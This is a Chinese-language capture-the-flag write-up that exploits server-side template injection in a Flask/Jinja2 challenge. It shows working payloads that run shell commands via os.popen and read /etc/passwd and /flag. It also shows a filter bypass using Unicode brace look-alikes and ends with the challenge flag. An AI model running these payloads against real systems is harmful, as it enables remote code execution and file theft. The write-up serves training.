打开网站后发现有一个输入框
随便写点东西进去尝试xss注入
发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描
什么发现也没有

写点东西抓包看看能抓到什么
发现是python的后端
想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入
Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。
当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。
由包中的信息可知,注入点在str
写入{{7*7}}测试一下
发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面。
对被过滤的字符我们可以进行替换绕过
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
用︷ ︸替换{}再测试一遍
输入payload
︷︷7*7︸︸
发现成功注入

jinjia2的SSIT方式
命令执行
{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
主体
{{ c.init.globals['builtins'].eval("import('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
文件查询
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}
主体
{{ c.init.globals['builtins'].open('/etc/passwd','r').read() }}
{% endif %}{% endfor %}
构造替换好的payload,查看当前目录下的文件(ls)
python
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸
__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。
sys.modules是一个全局字典。
popen('ls').read()为执行ls命令
发现没什么值得注意的

查看根目录(ls /)
python
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸
发现flag文件

在根目录下抓取flag(cat /flag)
python
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸
成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}